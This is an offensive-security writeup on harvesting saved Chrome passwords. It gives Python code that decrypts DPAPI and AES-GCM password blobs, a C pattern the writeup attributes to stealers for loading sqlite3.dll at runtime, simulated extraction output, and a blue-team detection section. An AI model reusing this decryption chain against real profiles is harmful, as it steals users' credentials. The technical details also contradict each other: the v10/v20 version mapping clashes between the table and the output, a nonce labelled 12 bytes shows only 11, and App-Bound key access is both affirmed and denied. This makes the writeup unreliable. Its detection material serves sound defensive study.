← Back to writeups Credential Access

Chrome Credential Harvesting

SQLite + DPAPI + AES-256-GCM — how Chrome stores passwords and how stealers extract them

// What is this?
Browsers lock saved passwords with Windows encryption — but if you're running as the user, you can unlock them.

Chrome stores passwords in a SQLite database encrypted with DPAPI (Windows Data Protection API), keyed to your Windows login session. Any code running as you can call the same decryption APIs and read plain-text passwords out. Chrome 127+ added App-Bound Encryption (look for APPPB prefixed keys), but the decryption key is still stored locally and readable by an elevated process in your session.

PowerShell — Credential Theft Detection
# Recent access to browser credential stores
Get-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -ErrorAction SilentlyContinue |
  Select-Object LastAccessTime, LastWriteTime

Get-Item "$env:APPDATA\Mozilla\Firefox\Profiles\*\logins.json" -ErrorAction SilentlyContinue |
  Select-Object LastAccessTime, LastWriteTime

# Discord token locations
Get-ChildItem "$env:APPDATA\discord\Local Storage\leveldb" -Force -ErrorAction SilentlyContinue

# Recently modified browser databases (indicates theft)
Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default" -Include "Login Data","Cookies","History" -Force -ErrorAction SilentlyContinue |
  Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) }
If this flags: Recent access to Login Data or Cookies indicates credential theft. Check process that accessed these files. Discord leveldb contains tokens in plaintext.

Chrome saves every stored password in a SQLite database at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data. The passwords are encrypted — but with keys that Chrome itself must be able to retrieve. Understanding that encryption chain is the foundation of credential harvesting research.

The Storage Architecture

Login Data — SQLite schema (relevant columns)

SELECT origin_url, username_value, password_value FROM logins WHERE blacklisted_by_user=0

Two Encryption Schemes

Prefix Chrome version Encryption Key source
v10 Pre-80 DPAPI (CryptUnprotectData) Windows user's master key — no separate app key
v20 80+ (App-Bound Encryption, Chrome 127+) AES-256-GCM, then DPAPI over the AES key Encrypted key in Local State JSON, decrypted by DPAPI

v10: Direct DPAPI Decryption

Strip the 3-byte prefix, pass the remainder to CryptUnprotectData. DPAPI uses the current user's credentials to decrypt — runs on the victim machine as that user with no additional material needed.

# v10: DPAPI-only decrypt (Windows)
if enc_blob[:3] == b'v10':
    in_blob  = DATA_BLOB(len(enc_blob) - 3, cast(enc_blob[3:], POINTER(c_ubyte)))
    out_blob = DATA_BLOB()
    CryptUnprotectData(byref(in_blob), None, None, None, None, 0, byref(out_blob))
    plaintext = string_at(out_blob.pbData, out_blob.cbData)
    LocalFree(out_blob.pbData)

v20: AES-256-GCM with DPAPI-Wrapped Key

Chrome 80 introduced an application-level AES key stored in Local State — a JSON file in the same User Data directory. The key is base64-encoded and DPAPI-encrypted. To decrypt v20 passwords:

  1. Read Local State → parse JSON → extract os_crypt.encrypted_key
  2. Base64-decode it, strip the 5-byte DPAPI prefix
  3. Pass the remainder to CryptUnprotectData → yields the 32-byte AES key
  4. For each password blob: strip 3-byte prefix → next 12 bytes are the GCM nonce → remainder is ciphertext+tag
  5. AES-256-GCM decrypt with the recovered key and nonce
import json, base64, sqlite3
from Crypto.Cipher import AES
# ctypes for CryptUnprotectData — omitted for brevity

def get_aes_key(local_state_path):
    with open(local_state_path) as f:
        state = json.load(f)
    enc_key_b64 = state['os_crypt']['encrypted_key']
    enc_key     = base64.b64decode(enc_key_b64)[5:]  # strip 'DPAPI' prefix
    return dpapi_decrypt(enc_key)                   # CryptUnprotectData → 32-byte AES key

def decrypt_v20(enc_blob, aes_key):
    iv         = enc_blob[3:15]      # 12-byte GCM nonce after 3-byte prefix
    ciphertext = enc_blob[15:]       # ciphertext + 16-byte auth tag
    cipher     = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
    return cipher.decrypt(ciphertext[:-16])  # strip tag

SQLite Dynamic Loading

Chrome locks Login Data while running. A credential harvester that runs as the same user can copy the file first (%TEMP%\logindata_copy) and open the copy. Alternatively, C implementations load sqlite3.dll at runtime via LoadLibraryA + GetProcAddress to avoid a static sqlite3 dependency:

/* Dynamic sqlite3 loading — no static dependency */
HMODULE hSqlite = LoadLibraryA("sqlite3.dll");

sqlite3_open_fn     pOpen    = GetProcAddress(hSqlite, "sqlite3_open");
sqlite3_prepare_fn  pPrepare = GetProcAddress(hSqlite, "sqlite3_prepare_v2");
sqlite3_step_fn     pStep    = GetProcAddress(hSqlite, "sqlite3_step");
sqlite3_column_fn   pText    = GetProcAddress(hSqlite, "sqlite3_column_text");
sqlite3_column_fn   pBlob    = GetProcAddress(hSqlite, "sqlite3_column_blob");

/* Then proceed as normal SQLite usage — just via function pointers */

This pattern is ubiquitous in credential stealers and infostealers — it reduces the binary's import table entropy and avoids shipping sqlite3 statically.

Lab Demo

Lab demo: DPAPI + AES-256-GCM extraction against a test environment. Chrome Local State decryption → Login Data SQLite → live credential recovery. MITRE T1555.003.

AES-GCM Decryption — Terminal Output

This is what the Python handler produces when run against a test Chrome profile. Simulated output showing the full decrypt chain (source: cred_man_proc_hollow_dll_inj/handlers/chrome_handler.py):

[*] Step 1: Read Local State
    Path: %LOCALAPPDATA%\Google\Chrome\User Data\Local State

[*] Step 2: Decode & strip DPAPI prefix (DPAPIKEY → 5 bytes removed)
    Encrypted key: RFBBUEJ... (base64)

[*] Step 3: DPAPI decrypt → AES master key
    Master key: b22ffb59d2911893d42e430683469da0... (32 bytes)

[*] Step 4: App-Bound Encryption (Chrome 127+)
    os_crypt.app_bound_encrypted_key present: YES
    Prefix: APPPB (5 bytes), then DPAPI-wrapped
    App-bound key: 8b0f1e309dc45d1629490e899e06e753...

[*] Step 5: SQLite — Login Data
    Path: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
    Query: SELECT origin_url, username_value, password_value FROM logins

[*] Step 6: Decrypt password_value (v10 prefix → AES-GCM-128)
    Version:   v10
    Nonce:     a3f1b2c4d5e60718293a4b (12 bytes)
    Ciphertext (44 bytes): 7f3a9b2c...
    Plaintext: hunter2secretpassword123

[+] Extracted credential:
    URL:      https://example.com/login
    Username: [email protected]
    Password: hunter2secretpassword123

[*] AES-GCM round-trip verified: True
MITRE: T1555.003 — Credentials from Web Browsers

App-Bound Encryption (Chrome 127+)

Chrome 127 introduced App-Bound Encryption. The AES key is no longer decryptable by any process running as the user — it's wrapped by a system service (IElevator COM interface) that validates the calling process is actually Chrome. The DPAPI-only path for the AES key is gone in this model.

Stealers running as the user can no longer silently recover the key without either:

Detection — Blue Team

File access IOC: Any process other than chrome.exe opening Login Data or Local State is anomalous. Sysmon Event ID 11 (FileCreate) for Login Data copies in %TEMP%.

DPAPI IOC: CryptUnprotectData calls from non-browser processes on DPAPI blobs that contain Chrome credential patterns. ETW provider: Microsoft-Windows-Security-Auditing, DPAPI activity.

Process IOC: Unusual processes loading sqlite3.dll (Sysmon Event ID 7 — ImageLoad). SQLite access from script interpreters (python.exe, powershell.exe) against user profile paths.

Network IOC: Outbound connections shortly after credential access, especially to non-CDN endpoints. DNS queries to unusual subdomains shortly after a sqlite3 open call.

Beyond Chrome

The same SQLite + DPAPI pattern applies across the Chromium family:

Defenders auditing for credential harvesting activity should cover all Chromium-based browsers, not just Chrome. The extraction technique is identical across them.

MITRE ATT&CK: T1555.003 (Credentials from Password Stores: Credentials from Web Browsers), T1059.001 (PowerShell)